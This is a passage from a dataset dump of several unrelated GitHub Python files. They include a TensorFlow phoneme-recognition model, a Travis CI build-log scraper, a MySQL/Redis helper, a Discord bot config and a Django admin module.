target_phones:Target phoneme sequence input during training phase\n target_phone_lengths:Sequence length of the target factor input during the training phase\n maximum_decode_iter_num:Maximum number of decoding steps during decoding\n '''\n with tf.variable_scope('Dataset'):\n self.train_paths = tf.placeholder(tf.string)\n \n self.valid_paths = tf.placeholder(tf.string)\n\n self.train_valid = tf.placeholder(tf.bool)\n \n #这是训练集的读取\n dataset = tf.data.Dataset.from_tensor_slices(self.train_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 3)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[],\n 'train_label':[None],'target_label':[None],'target_length':[]},drop_remainder = True)\n #这是验证集的读取\n valid_dataset = tf.data.Dataset.from_tensor_slices(self.valid_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 1)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[],\n 'train_label':[None],'target_label':[None],'target_length':[]},drop_remainder = True)\n\n #Use dataset to read data while prefetch\n self.train_iterator = dataset.make_initializable_iterator()\n self.valid_iterator = valid_dataset.make_initializable_iterator()\n #Get a batch of data\n ##Determine whether to get train or valid\n\n batch_data = tf.cond(self.train_valid, lambda:self.train_iterator.get_next(), lambda:self.valid_iterator.get_next())\n\n\n self.audio_features = batch_data['audios']\n\n self.audio_feature_lengths = batch_data['audio_lengths']\n\n self.target_phones = batch_data['target_label']\n\n self.train_phones = batch_data['train_label']\n\n self.target_phone_lengths = batch_data['target_length']\n\n self.maximum_decode_iter_num = tf.reduce_max(self.target_phone_lengths,\n name = 'max_dec_len')\n def test_data_extract(self):\n '''\n During testing:\n Settings for all inputs\n audio_features:The input voice features of a batch\n audio_feature_lengths:The length of a batch voice feature input\n '''\n #Determine whether to give test paths\n if not self.test_paths:\n print(\"there is no test path!\\n\")\n print(\"please input the paths\")\n test_dataset = tf.data.Dataset.from_tensor_slices(self.test_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 4)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[]})\n self.test_iterator = test_dataset.make_initializable_iterator()\n batch_data = self.test_iterator.get_next()\n\n self.audio_features = batch_data['audios']\n self.audio_feature_lengths = batch_data['audio_lengths']\n\n def add_embeddings(self):\n '''\n Map the input phoneme index to a fixed-length vector\n Generate a transformation vector\n '''\n \n self.embedding_matrix = tf.get_variable('embedding_matrix',shape = [self.num_classes,self.embedding_dim],dtype = tf.float32,trainable = True)\n def add_lookup_ops(self,phone_indexs):\n '''\n Convert a given phoneme to a vector\n '''\n with tf.variable_scope('Lookup'):\n phone_embedding = tf.nn.embedding_lookup(self.embedding_matrix,\n self.train_phones,\n name = 'phone_embedding')\n phone_embedded_vector = tf.nn.dropout(phone_embedding,\n self.keep_probability_e,\n name = 'phone_embedded_vector')\n return phone_embedded_vector\n\n def build_encoder(self,encoder_inputs,encoder_lengths):\n '''\n Build the encoder\n Parameter:\n encoder_inputs:[batch_size,T,?]\n encoder_lengths:[batch_size]\n '''\n with tf.variable_scope('Encoder'):\n inputs = encoder_inputs\n sequence_lengths = encoder_lengths\n #Set the initial state of lstm\n state = None\n for n in range(self.num_layer_encoder):\n with tf.variable_scope('encoder_layer_'+str(n+1)) as scope:\n lstm_output, state = model_module.encoder_lstm_layer(inputs,\n sequence_lengths,\n self.rnn_size_encoder,\n state,\n self.is_training)\n #Process the output of the network layer further\n (forward_state,backward_state) = state\n inputs = lstm_output\n ''' \n with tf.variable_scope('pyramidal_layer_'+str(1)):\n inputs,sequence_lengths = model_module.reshape_pyramidal(lstm_output,sequence_lengths)\n \n sequence_lengths = sequence_lengths\n '''\n \n \n \n #Encapsulate the lstm state of the last layer\n #The encapsulated lstm state can be used in the subsequent decoder\n forward_hidden_state,backward_hidden_state = forward_state[0],backward_state[0]\n forward_cell_state,backward_cell_state = forward_state[1],backward_state[1]\n encoder_hidden_state = tf.concat((forward_hidden_state,backward_hidden_state), axis = -1)\n encoder_cell_state = tf.concat((forward_cell_state,backward_cell_state), axis = -1)\n encoder_state = tf.nn.rnn_cell.LSTMStateTuple(c = encoder_cell_state, h = encoder_hidden_state)\n\n return inputs, sequence_lengths, encoder_state\n\n def build_decoder_cell(self,encoder_outputs,encoder_state,encoder_sequence_lengths):\n '''\n Building a lstm unit in a decoder\n '''\n memory = encoder_outputs\n\n #If it is in the speculative stage, you need to tile each state and variable\n if self.mode == 'INFER' and self.beam_width > 0:\n memory = tf.contrib.seq2seq.tile_batch(memory,\n multiplier = self.beam_width)\n encoder_state = tf.contrib.seq2seq.tile_batch(encoder_state,\n multiplier = self.beam_width)\n encoder_sequence_lengths = tf.contrib.seq2seq.tile_batch(encoder_sequence_lengths,\n multiplier = self.beam_width)\n batch_size = self.batch_size * self.beam_width\n else:\n batch_size = self.batch_size\n\n #Build lstm\n with tf.variable_scope('decoder_lstm_layer'):\n if self.num_layer_decoder is not None:\n lstm_cell = tf.nn.rnn_cell.MultiRNNCell(\n [model_module.rnn_cell(self.rnn_size_decoder) for _ in range(self.num_layer_decoder)])\n\n else:\n lstm_cell = model_module.rnn_cell(self.rnn_size_decoder)\n\n cell = model_module.attention_cell(lstm_cell,\n self.rnn_size_decoder,\n memory,\n encoder_sequence_lengths)\n #Set the initial state\n decoder_state = tuple([encoder_state] * self.num_layer_decoder)\n decoder_initial_state = cell.zero_state(batch_size, tf.float32).clone(cell_state = decoder_state)\n\n return cell, decoder_initial_state\n def build_decoder(self,encoder_outputs,encoder_state,encoder_sequence_lengths,decoder_inputs_lengths = None,decoder_inputs = None):\n '''\n Build the decoder\n '''\n '''\n 参数解释:\n encoder_outputs:[batch_size,T,?]Encoding sequence from the encoder\n encoder_state:[batch_size,?]The last output state of the encoder, you can use this to initialize the initial state of the decoder\n encoder_sequence_lengths:[batch_size]The true and valid length in the last encoded sequence of the encoder\n decoder_inputs_lengths:[batch_size]In the training phase, the true length of the sequence in the input decoder\n decoder_inputs:[batch_size,T,embedding_dim]During the training phase. Input decoder's embedded_vector\n '''\n with tf.variable_scope('Decoder') as decode_scope:\n sos_id_2 = tf.cast(self.phn2ind[self.sos],tf.int32)\n eos_id_2 = tf.cast(self.phn2ind[self.eos],tf.int32)\n with tf.variable_scope('Output_layer'):\n self.output_layer = Dense(self.num_classes,name = 'output_layer')\n\n with tf.variable_scope('decoder_attention_wrapper'):\n decoder_cell,decoder_initial_state = self.build_decoder_cell(encoder_outputs,\n encoder_state,\n encoder_sequence_lengths)\n\n #During Training\n if self.mode != 'INFER':\n with tf.variable_scope('Helper'):\n\n train_helper = tf.contrib.seq2seq.ScheduledEmbeddingTrainingHelper(\n inputs = decoder_inputs,\n sequence_length = decoder_inputs_lengths,\n embedding = self.embedding_matrix,\n sampling_probability = self.sampling_probability,\n time_major = False)\n\n train_decoder = tf.contrib.seq2seq.BasicDecoder(decoder_cell,\n train_helper,\n decoder_initial_state,\n output_layer = self.output_layer)\n\n #Dynamic decoding\n outputs, final_context_state,_ = tf.contrib.seq2seq.dynamic_decode(\n train_decoder,\n output_time_major = False,\n maximum_iterations = self.maximum_decode_iter_num,\n swap_memory = False,\n impute_finished = True,\n scope = decode_scope)\n sample_id = outputs.sample_id\n logits = outputs.rnn_output\n #Prediction stage\n else:\n start_tokens = tf.fill([self.batch_size],sos_id_2)\n end_token = eos_id_2\n\n #If you do beam_search\n if self.beam_width > 0:\n my_decoder = tf.contrib.seq2seq.BeamSearchDecoder(\n cell = decoder_cell,\n embedding = self.embedding_matrix,\n start_tokens = start_tokens,\n end_token = end_token,\n initial_state = decoder_initial_state,\n beam_width = self.beam_width,\n output_layer = self.output_layer)\n #When beam_search is zero, choose to use greedy\n else:\n greedy_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(self.embedding_matrix,\n start_tokens,\n end_token)\n my_decoder = tf.contrib.seq2seq.BasicDecoder(decoder_cell,\n greedy_helper,\n decoder_initial_state,\n output_layer = self.output_layer)\n #Dynamic decoding\n outputs, final_context_state,_ = tf.contrib.seq2seq.dynamic_decode(\n my_decoder,\n maximum_iterations = 300,\n output_time_major = False,\n impute_finished = False,\n swap_memory = False,\n scope = decode_scope)\n if self.beam_width > 0:\n logits = tf.no_op()\n sample_id = outputs.predicted_ids\n else:\n logits = tf.no_op()\n sample_id = outputs.sample_id\n return logits, sample_id, final_context_state,outputs\n\n def average_gradients(self,tower_grads):\n '''\n Calculate the average gradient\n '''\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n\n grads = []\n for g, z in grad_and_vars:\n expanded_g = tf.expand_dims(g,0)\n\n grads.append(expanded_g)\n grad = tf.concat(grads,axis = 0)\n grad = tf.reduce_mean(grad,0)\n\n v = grad_and_vars[0][1]\n grad_and_var = (grad,v)\n average_grads.append(grad_and_var)\n return average_grads\n\n def build_model(self):\n '''\n Build the model\n '''\n with tf.variable_scope('optimizer'):\n self.optimizer = tf.train.RMSPropOptimizer(learning_rate = self.learning_rate)\n with tf.variable_scope('model',dtype = tf.float32):\n if self.mode == 'TRAIN':\n self.tower_grads = []\n self.tower_loss = []\n self.tower_ler = []\n for i in range(self.num_gpu_device):\n with tf.device(\"/gpu:{}\".format(i)):\n with tf.variable_scope(tf.get_variable_scope(),reuse = tf.AUTO_REUSE):\n #If it is multi-gpu, you need to split the input data\n audio_inputs = tf.split(value = self.audio_features,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n audio_sequence_lengths = tf.split(value = self.audio_feature_lengths,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n phone_embedded_inputs = tf.split(value = self.phone_embedded_vector,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n phone_sequence_lengths = tf.split(value = self.target_phone_lengths,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n target_phones_gpu = tf.split(value = self.target_phones,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n train_phones_gpu = tf.split(value = self.train_phones,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n #Put data into the encoder\n encoder_outputs,encoder_sequence_lengths,encoder_state = self.build_encoder(encoder_inputs = audio_inputs,\n encoder_lengths = audio_sequence_lengths)\n\n #Put the output of the encoder into the decoder\n logits, sample_ids, final_context_state,decoder_output = self.build_decoder(encoder_outputs = encoder_outputs,\n encoder_state = encoder_state,\n encoder_sequence_lengths = audio_sequence_lengths,\n decoder_inputs_lengths = phone_sequence_lengths,\n decoder_inputs = phone_embedded_inputs)\n #Perform zero padding on logits\n logits = tf.pad(logits,[[0,0],[0,(self.maximum_decode_iter_num - tf.shape(logits)[1])],[0,0]])\n loss = model_module.compute_loss(logits,target_phones_gpu,phone_sequence_lengths,self.maximum_decode_iter_num)\n ler = model_module.compute_ler(logits,target_phones_gpu,self.phn2ind[self.eos])\n grads = self.optimizer.compute_gradients(loss)\n self.tower_grads.append(grads)\n self.tower_loss.append(tf.reduce_mean(loss))\n self.tower_ler.append(tf.reduce_mean(ler))\n \n with tf.variable_scope('summary_op'):\n \n self.train_loss = tf.reduce_mean(self.tower_loss)\n #记录下loss\n self.training_summary = tf.summary.scalar('loss',self.train_loss)\n \n \n self.train_ler = tf.reduce_mean(self.tower_ler)\n\n self.ler_summary = tf.summary.scalar('ler',self.train_ler)\n #设立总的global_step\n self.global_step = tf.Variable(0, trainable = False)\n\n self.summary_op = tf.summary.merge_all()\n\n #optimizer = tf.train.AdamOptimizer(self.learning_rate, beta1=0.8, beta2=0.99,epsilon = 1e-05)\n #optimizer = tf.train.GradientDescentOptimizer(self.learning_rate)\n #optimizer = tf.train.AdadeltaOptimizer(self.learning_rate)\n \n self.learning_rate = tf.train.exponential_decay(learning_rate = self.learning_rate,global_step = self.global_step,\n decay_steps = self.learning_rate_decay_steps,decay_rate = self.learning_rate_decay)\n \n \n #Whether clipping is required\n with tf.variable_scope('Train_optimizer'):\n grads = self.average_gradients(self.tower_grads)\n\n apply_gradient_op = self.optimizer.apply_gradients(grads,global_step = self.global_step)\n\n variable_averages = tf.train.ExponentialMovingAverage(0.99,self.global_step)\n\n variable_averages_op = variable_averages.apply(tf.trainable_variables())\n\n self.train_op = tf.group(apply_gradient_op,variable_averages_op)\n '''\n with tf.variable_scope('train_optimizer'):\n if self.clip > 0:\n grads,vs = zip(*optimizer.compute_gradients(self.train_loss))\n #为了防止梯度爆炸,做梯度修正\n grads, _ = tf.clip_by_global_norm(grads, self.clip)\n\n self.train_op = optimizer.apply_gradients(zip(grads, vs),\n global_step = self.global_step)\n else:\n #直接最小化loss\n self.train_op = optimizer.minimize(self.train_loss,\n global_step = self.global_step)\n '''\n elif self.mode == 'INFER':\n #encoder\n encoder_outputs,encoder_sequence_lengths,encoder_state = self.build_encoder(encoder_inputs = self.audio_features,\n encoder_lengths = self.audio_feature_lengths)\n\n #Put the output of the encoder into the decoder\n #In the speculation phase, there are no inputs to the decoder\n logits, sample_ids, final_context_state,outputs = self.build_decoder(encoder_outputs = encoder_outputs,\n encoder_state = encoder_state,\n encoder_sequence_lengths = encoder_sequence_lengths)\n loss = None\n\n self.infer_logits, _, self.final_context_state, self.sample_id,self.outputs = logits, loss, final_context_state, sample_ids,outputs\n\n def train(self,\n restore_path = None):\n '''\n Operations for training,\n \n restore_path:If this option is turned on, training is based on existing models\n\n '''\n self.best_loss = np.inf\n\n #Whether to store as summary\n if self.summary_dir is not None:\n #Set up two writers\n self.add_summary()\n #Then start the session\n self.initialize_session()\n\n\n #If restore_path exists, restore model is required\n \n if restore_path is not None:\n self.restore_session(restore_path)\n if self.embedding_model is not None:\n self.restore_embedding()\n audio_paths = self.dataset_path_pickle(self.dataset_path)\n valid_paths = self.dataset_path_pickle(self.valid_path)\n\n self.train_audio_paths = audio_paths\n self.valid_audio_paths = valid_paths\n random.shuffle(self.train_audio_paths)\n random.shuffle(self.valid_audio_paths)\n #Start iterative training\n #Initialize the data iterator\n self.sess.run(self.train_iterator.initializer,feed_dict = {self.train_paths:self.train_audio_paths,\n self.valid_paths:self.valid_audio_paths,\n self.train_valid:True})\n epoch = 1\n epoch_time_start = time.time()\n self.epoch_loss = []\n self.epoch_ler = []\n print('-----------------------------Epoch {} of {} ----------------------------'.format(epoch,self.epochs))\n self.batch_start_time = time.time()\n \n i = 0\n step = 0\n while True:\n try:\n if epoch > self.epochs:\n break\n i += 1\n step += 1\n self.is_training = True\n #每个batch的运行\n loss,ler,summary_op,_ = self.sess.run([self.train_loss,self.train_ler,self.summary_op,self.train_op],feed_dict = {self.train_valid:True})\n \n self.epoch_loss.append(loss)\n self.epoch_ler.append(ler)\n\n if i > 0 and (i % 200 == 0):\n batch50_end_time = time.time()\n self.train_writer.add_summary(summary_op, step)\n during_time = batch50_end_time - self.batch_start_time\n self.batch_start_time = batch50_end_time\n print('Epoch: {}, Batch: {}, train_loss: {:.4f}, train_ler: {:.4f}, during time: {:.2f}s'.format(epoch,i,loss,ler,during_time))\n if i > 0 and (i % 800 == 0):\n #For every 200 batches, valid once\n self.is_training = False\n self.sampling_probability = 1.0\n random.shuffle(self.valid_audio_paths)\n self.sess.run(self.valid_iterator.initializer,feed_dict = {self.valid_paths :self.valid_audio_paths,\n self.train_valid:False})\n valid_loss = []\n valid_ler = []\n for z in range(10):\n loss,ler,summary_op = self.sess.run([self.train_loss,self.train_ler,self.summary_op],feed_dict = {self.train_valid:False})\n valid_loss.append(loss)\n valid_ler.append(ler)\n self.eval_writer.add_summary(summary_op,step)\n average_valid_loss = self.sess.run(tf.reduce_mean(valid_loss))\n average_valid_ler = self.sess.run(tf.reduce_mean(valid_ler))\n valid_end_time = time.time()\n valid_during_time = valid_end_time - self.batch_start_time\n self.sampling_probability = 0.75\n\n print('validation loss: {:.4f}, validation ler: {:.4f}, validation time: {:.2f}s'.format(average_valid_loss,average_valid_ler,valid_during_time))\n except tf.errors.OutOfRangeError:\n epoch_ave_loss = self.sess.run(tf.reduce_mean(self.epoch_loss))\n epoch_ave_ler = self.sess.run(tf.reduce_mean(self.epoch_ler))\n epoch_time_end = time.time()\n epoch_during_time = epoch_time_end - epoch_time_start\n print('the epoch {}, average loss: {:.4f}, average_ler: {:.4f}, during time: {:.2f}s'.format(str(epoch),epoch_ave_loss,epoch_ave_ler,epoch_during_time))\n \n \n #Determine if the loss is the best to determine the storage model\n if epoch_ave_loss <= self.best_loss:\n if not os.path.exists(self.save_path):\n os.makedirs(self.save_path)\n self.saver.save(self.sess,self.save_path,global_step = epoch)\n self.best_loss = epoch_ave_loss\n\n print('\\n---------------------new best loss: {:.4f} --------------------\\n'.format(self.best_loss))\n print('---------------------save the best model at: {}--------------------'.format(self.save_path))\n epoch += 1\n epoch_time_start = time.time()\n self.epoch_loss = []\n self.epoch_ler = []\n print('-----------------------------Epoch {} of {} ----------------------------'.format(epoch,self.epochs))\n self.batch_start_time = time.time()\n random.shuffle(self.train_audio_paths)\n self.sess.run(self.train_iterator.initializer,feed_dict = {self.train_paths :self.train_audio_paths})\n i = 0\n def infer(self,restore_path):\n '''\n Load the model and predict the data, usually the batchsize here is set to 1\n restore_path:Is the address of the folder where the model is stored\n '''\n if restore_path == None:\n print('please input a restore path')\n #Open the session and load the model, and pay attention to the setting of some parameters\n self.initialize_session()\n if restore_path is not None:\n self.restore_session(restore_path)\n else:\n print('there is no saved model in ',restore_path)\n\n #Initialize the iterator\n self.sess.run(self.test_iterator.initializer)\n prediction_ids = []\n for i in range(len(self.test_paths)):\n try:\n print(self.test_paths[i])\n #logits = self.sess.run(self.outputs)[0]\n #logits = self.sess.run(tf.nn.softmax(logits))\n #print(np.shape(logits))\n pred_ids = self.sess.run(self.sample_id)\n for pred_id in pred_ids:\n prediction_ids.append(pred_id)\n print('Have been inferred the path:',self.test_paths[i])\n except tf.errors.OutOfRangeError:\n #Prevent anomalies\n print('all test audios have been inferred !')\n return prediction_ids\n return prediction_ids\n\n\n def initialize_session(self):\n '''\n 开启session\n '''\n #Global initialization\n config = tf.ConfigProto(allow_soft_placement = True)\n config.gpu_options.allow_growth = True\n self.sess = tf.Session(config = config)\n self.sess.run(tf.global_variables_initializer())\n def restore_embedding(self):\n '''\n Extract the trained embedding matrix from the embedding model\n '''\n self.saver_embedding = tf.train.Saver([self.embedding_matrix])\n var = tf.global_variables()\n variable_to_restore = [val for val in var if 'embedding_matrix' in val.name]\n self.saver_embedding.restore(self.sess,tf.train.latest_checkpoint(self.embedding_model))\n def restore_session(self,restore_path):\n '''\n Extract the saved model from restore_path\n '''\n self.saver.restore(self.sess,tf.train.latest_checkpoint(restore_path))\n print('Done restoring from the path: ', restore_path)\n def add_summary(self):\n '''\n Set up two writers, then display the summary using tensorboard\n '''\n\n self.train_writer = tf.summary.FileWriter(self.summary_dir + '/train',\n tf.get_default_graph())\n self.eval_writer = tf.summary.FileWriter(self.summary_dir + '/valid')\n","repo_name":"fengxin-bupt/Application-of-Word2vec-in-Phoneme-Recognition","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":38787,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"}
+{"seq_id":"71067609475","text":"from surface.slope import make_slope, make_std_dem, make_std_slope\nfrom surface.slope import make_area_ratio, make_slope_variance, make_arc_tpi, make_profile_curvature\nfrom surface.hillshade import make_hillshade\n\n\ndef make_terrain_tests(dem):\n\n slope = make_slope(dem)\n slope_var = make_slope_variance(slope, 51)\n sd_slope = make_std_slope(slope, 51)\n sd_dem = make_std_dem(dem, 51)\n area_ratio = make_area_ratio(slope)\n arc_tpi = make_arc_tpi(dem, 51)\n kpr, sd_kpr = make_profile_curvature(dem)\n shade0 = make_hillshade(dem, 0, 45)\n shade90 = make_hillshade(dem, 90, 45)\n shade180 = make_hillshade(dem, 180, 45)\n shade270 = make_hillshade(dem, 270, 45)\n shade45 = make_hillshade(dem, 45, 45)\n shade135 = make_hillshade(dem, 135, 45)\n shade225 = make_hillshade(dem, 225, 45)\n shade315 = make_hillshade(dem, 315, 45)\n\n test_surfaces = [slope, sd_slope, sd_dem, area_ratio, slope_var, arc_tpi, kpr, sd_kpr,\n shade0, shade90, shade180, shade270, shade45, shade135, shade225, shade315]\n\n ids = ['Slope', 'SD of Slope', 'SD of Dem', 'Area Ratio', 'Slope Variance', 'TPI', 'Curvature',\n 'SD of Curvature', 'Hillshade 0 Az.', 'Hillshade 90 Az.', 'Hillshade 180 Az.', 'Hillshade 270 Az.',\n 'Hillshade 45 Az.', 'Hillshade 135 Az.', 'Hillshade 225 Az.', 'Hillshade 315 Az.']\n\n return ids, test_surfaces\n","repo_name":"charparr/pattern-iqa","sub_path":"surface/make_terrain_surfs.py","file_name":"make_terrain_surfs.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"70163095556","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 12 17:58:45 2018\n\nScript that scrapes the Travis API to collect build logs for a build identifier\n\n@author: natha\n\"\"\"\n\nimport time\nimport requests\n\n\nimport travis.travis_token as tt\n\nTRAVIS_TOKEN = tt.travis_token\n\nBASE_TRAVIS_URL = \"https://api.travis-ci.org\"\n\nTRAVIS_HEADER = {'Travis-API-Version' : '3', \n 'Authorization' : 'token {}'.\n format(TRAVIS_TOKEN)}\n\n\ndef retrieve_build_for_identifier(build_identifier):\n builds_url = \"{}/{}/{}\".format(BASE_TRAVIS_URL, 'build', build_identifier)\n \n build_response = requests.get(builds_url, headers = TRAVIS_HEADER)\n \n if build_response.status_code not in [200, 403, 404]:\n print(\"Could not access data from travis\")\n \n time.sleep(2)\n \n build_response = requests.get(builds_url, headers = TRAVIS_HEADER)\n \n if build_response.status_code not in [200, 403, 404]:\n raise ValueError(\"Could not scrape a build from Travis\")\n \n build_data = build_response.json()\n \n if build_data['@type'] == 'error':\n raise ValueError(\"Could not scrape build from Travis response was {}\"\n .format(build_data))\n \n return build_data\n\ndef extract_job_ids_for_build(build_data):\n if len(build_data[\"jobs\"]) == 0:\n raise ValueError(\"No jobs for this build\")\n \n job_ids = []\n \n for job in build_data[\"jobs\"]:\n job_ids.append(job[\"id\"])\n \n return job_ids\n \n\ndef retrieve_build_log_for_job_id(job_identifier):\n build_log_url = \"{}/{}/{}/log\".format(BASE_TRAVIS_URL, \"job\", job_identifier)\n \n actual_headers = dict(TRAVIS_HEADER)\n \n # This is needed so that the build log is not in some weird decoded unreadable\n # format\n actual_headers[\"Accept\"] = \"text/plain\"\n \n log_response = requests.get(build_log_url, headers = actual_headers)\n \n if log_response.status_code not in [200]:\n print(\"Could not retrieve build log from Travis, status code is {}\".\n format(log_response.status_code))\n \n return log_response.text\n\ndef retrieve_build_identifier_from_travis_url(url):\n if \"travis-ci.org\" not in url:\n raise ValueError(\"The url {} is not a valid travis url\"\n .format(url))\n \n identifier = url.split(\"builds/\")[1].split(\"/\")[0]\n \n return identifier\n\n'''\nGiven a set of build identifiers, goes to Travis to collects all \nassorted logs and returns these logs. As a travis build consists \nout of several jobs one build identifier might return more than \none log.\n\nReturn type is an array of string, where each string is a complete\nbuild log as recorded by Travis. \n'''\ndef build_logs_for_identifiers(identifiers):\n log_output = []\n \n for identifier in identifiers:\n build_data = retrieve_build_for_identifier(identifier)\n \n job_ids = extract_job_ids_for_build(build_data)\n \n for job_id in job_ids:\n log_output.append(retrieve_build_log_for_job_id(job_id))\n \n return log_output\n ","repo_name":"TheDutchDevil/code_reviews","sub_path":"analysis/archive/travis/scrape_build_logs.py","file_name":"scrape_build_logs.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"1670281704","text":"# -*- coding: utf-8 -*-\n# @Author : pmz\n# @Time : 2023/04/23 09:57:04\n# @Software : python3.11\n# @Desc : 操作数据库的类, 继承使用(mysql, redis)\nimport datetime\nimport json\n\nfrom pymysql import Connection\nfrom pymysql.cursors import Cursor, DictCursor\nfrom yyxx_game_pkg.conf import settings\nfrom yyxx_game_pkg.dbops.mysql_op import MysqlOperation\nfrom yyxx_game_pkg.helpers.mysql_helper import get_dbpool\nfrom yyxx_game_pkg.helpers.redis_helper import get_redis\n\n\nclass OPHelper:\n # --------------- mysql start ---------------\n @classmethod\n def connection(cls, mysql_alias=\"default\", dict_cursor=True) -> Connection:\n db_settings = {}\n for k, v in settings.DATABASES[mysql_alias].items():\n if k == \"PORT\" and isinstance(v, str) and v.isdigit(): # PORT 必须为数字\n v = int(v)\n db_settings[k.lower()] = v\n if k == \"NAME\":\n db_settings[\"db\"] = db_settings.pop(\"name\")\n db_settings[\"cursor\"] = DictCursor if dict_cursor else Cursor\n return get_dbpool(db_settings).get_connection()\n\n @classmethod\n def mp(cls):\n return MysqlOperation()\n\n @classmethod\n def sql_func_get_one(cls):\n return cls.mp().get_one\n\n @classmethod\n def sql_func_get_all(cls):\n return cls.mp().get_all\n\n # --------------- mysql end ---------------\n\n # --------------- redis start ---------------\n @classmethod\n def redis(cls, redis_alias=\"default\"):\n return get_redis(settings.REDIS_SERVER[redis_alias])\n\n # --------------- redis end ---------------\n\n # --------------- redis cache start ---------------\n @classmethod\n def cache(\n cls,\n sql=\"\",\n sql_func=None,\n redis_key=\"\",\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n \"\"\"\n :param sql: sql语句\n :param sql_func: sql方法 execute get_one get_all insert\n :param redis_key: 缓存key\n :param ex: 缓存过期时间,None表示不设置过期时间\n :param redis_alias: 从redis_config中获取对应redis配置\n :param mysql_alias: 从mysql_config中获取对应mysql配置\n \"\"\"\n _redis = cls.redis(redis_alias)\n data = _redis.get_data(redis_key)\n if not data:\n data = sql_func(sql, cls.connection(mysql_alias))\n if data:\n _redis.set_data(redis_key, json.dumps(str(data)), ex)\n\n if isinstance(data, bytes):\n data = eval(json.loads(data))\n\n return data\n\n @classmethod\n def cache_sql_one(\n cls,\n sql,\n redis_key,\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n sql_func = cls.mp().get_one\n return cls.cache(sql, sql_func, redis_key, ex, redis_alias, mysql_alias)\n\n @classmethod\n def cache_sql_all(\n cls,\n sql,\n redis_key,\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n sql_func = cls.mp().get_all\n return cls.cache(sql, sql_func, redis_key, ex, redis_alias, mysql_alias)\n\n # --------------- redis cache end ---------------\n","repo_name":"yyxxgame/yyxxgame-pkg","sub_path":"yyxx_game_pkg/helpers/op_helper.py","file_name":"op_helper.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"11788657524","text":"import os\nfrom typing import Any, Literal\n\nfrom discord import Intents\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\nfrom .helper import _MissingSentinel\nfrom .version import Version\n\nload_dotenv('.env', verbose=True)\n\nMISSING: Any = _MissingSentinel\n\nINTENTS = Intents(\n messages=True,\n members=True,\n message_content=True,\n guilds=True,\n guild_messages=True,\n voice_states=True,\n reactions=True,\n dm_messages=True,\n presences=True\n)\n\nCog = commands.Cog\nCommand = commands.Command\n\nTOKEN = os.getenv('TOKEN')\nSPOTIFY_CLIENT_ID = os.getenv('SPOTIFY_CLIENT_ID')\nSPOTIFY_CLIENT_SECRET = os.getenv('SPOTIFY_CLIENT_SECRET')\n\nDEFAULT_PREFIX = [')', '(']\n\n\nPREFIX_CONFIG_SCHEMA = \"\"\"\nCREATE TABLE IF NOT EXISTS prefixes (\n guild_id BIGINT UNIQUE,\n prefix TEXT,\n UNIQUE(guild_id, prefix)\n)\n\"\"\"\n\nANIME_NEWS_CONFIG_SCHEMA = \"\"\"\nCREATE TABLE IF NOT EXISTS anime_news (\n title TEXT,\n description TEXT,\n url TEXT,\n image TEXT);\"\"\"\n\nVERSION = Version(\n major=0,\n sub_major=1,\n minor=0,\n patch='alpha'\n)\n\nPRIVACY_POLICY_LINK = \"https://example.com\"\nPATREON_LINK = \"https://example.com\"\nINVITE_LINK = \"https://example.com\"\nSTATUS_PAGE_LINK = \"https://example.com\"\n","repo_name":"SELECT-stupidity-FROM-discord/OSS-Suzuka-Bot","sub_path":"utils/helpers/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"27380508220","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\n\nfrom .models import User, UserProfile, UserDepartment, UserSection, Documents, DocumentSections, Accepted, Comments, RefDocumentType\n\n# Register your models here.\nclass ProfileInline(admin.StackedInline):\n model = UserProfile\n can_delete = False\n verbose_name_plural = 'UserProfile'\n fk_name = 'user'\n\nclass CustomUserAdmin(UserAdmin):\n inlines = (ProfileInline, )\n list_display = ('username','first_name', 'last_name', 'get_role', 'is_staff')\n list_select_related = ('profile', )\n\n def get_role(self, instance):\n return instance.profile.get_role_display()\n get_role.short_description = 'Role'\n\n def get_inline_instances(self, request, obj=None):\n if not obj:\n return list()\n return super(CustomUserAdmin, self).get_inline_instances(request, obj)\n\n\nclass DocumentsAdmin(admin.ModelAdmin):\n exclude = ('upload_by', 'access_count', 'doc_dept')\n\n def save_model(self, request, obj, form, change):\n obj.upload_by = request.user.profile\n obj.doc_dept = request.user.profile.dept\n 